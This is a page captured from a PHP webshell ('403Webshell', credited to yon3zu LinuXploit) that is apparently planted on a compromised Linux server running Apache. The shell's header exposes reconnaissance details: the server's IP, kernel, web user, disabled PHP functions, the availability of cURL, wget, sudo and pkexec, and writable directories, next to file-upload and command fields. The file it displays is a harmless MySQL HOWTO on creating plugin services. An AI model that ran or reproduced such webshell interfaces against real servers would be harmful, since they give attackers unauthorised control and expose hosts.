403Webshell
Server IP : 172.67.216.182  /  Your IP : 162.158.88.96
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/src/libservices/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/src/libservices/HOWTO
Copyright (c) 2009, 2023, Oracle and/or its affiliates.

How to create a new service
^^^^^^^^^^^^^^^^^^^^^^^^^^^

A "service" is a set of C functions in a structure that a
service dynamic linker uses when a dynamic plugin is loaded.

If you want to export C++ class you need to provide an
extern "C" function that will create a new instance of your class,
and put it in a service.

Data structures are not part of the service structure, but they are part
of the API you create and usually need to be declared in the same
service_*.h file.

To turn a set of functions (foo_func1, foo_func2)
into a service "foo" you need to

1. create a new file include/mysql/service_foo.h

2. the template is
==================================================================
  #ifndef MYSQL_SERVICE_FOO_INCLUDED
  /* standard GPL header */

  /**
    @file
    *exhaustive* description of the interface you provide.
    This file is the main user documentation of the new service
  */
  #ifdef __cplusplus
  extern "C" {
  #endif

  extern struct foo_service_st {
    int (*foo_func1_type)(...);  /* fix the prototype as appropriate */
    void (*foo_func2_type)(...); /* fix the prototype as appropriate */
  } *foo_service;

  #ifdef MYSQL_DYNAMIC_PLUGIN

  #define foo_func1(...) foo_service->foo_func1_type(...)
  #define foo_func2(...) foo_service->foo_func2_type(...)

  #else

  int foo_func1_type(...);  /* fix the prototype as appropriate */
  void foo_func2_type(...); /* fix the prototype as appropriate */

  #endif

  #ifdef __cplusplus
  }
  #endif

  #define MYSQL_SERVICE_FOO_INCLUDED
  #endif
==================================================================

the service_foo.h file should be self-contained, if it needs system headers -
include them in it, e.g. if you use size_t - #include <stdlib.h>

it should also declare all the accompanying data structures, as necessary
(e.g. thd_alloc_service declares MYSQL_LEX_STRING).

3. add the new file to include/Makefile.am (pkginclude_HEADERS)
4. add the new file to include/mysql/services.h
5. increase the minor plugin ABI version in include/mysql/plugin.h
   (MYSQL_PLUGIN_INTERFACE_VERSION = MYSQL_PLUGIN_INTERFACE_VERSION+1)
6. add the version of your service to include/service_versions.h:
==================================================================
    #define VERSION_foo 0x0100
==================================================================

7. create a new file libservices/foo_service.c using the following template:
==================================================================
  /* GPL header */
  #include <service_versions.h>
  SERVICE_VERSION *foo_service= (void*)VERSION_foo;
==================================================================

8. add the new file to libservices/CMakeLists.txt (MYSQLSERVICES_SOURCES)
9. add the new file to libservices/Makefile.am (libmysqlservices_a_SOURCES)
10. and finally, register your service for dynamic linking in
    sql/sql_plugin_services.h
10.1 fill in the service structure:
==================================================================
  static struct foo_service_st foo_handler = {
    foo_func1,
    foo_func2
  }
==================================================================

10.2 and add it to the list of services

==================================================================
    { "foo_service", VERSION_foo, &foo_handler }
==================================================================

that's all.


Youez - 2016 - github.com/yon3zu
LinuXploit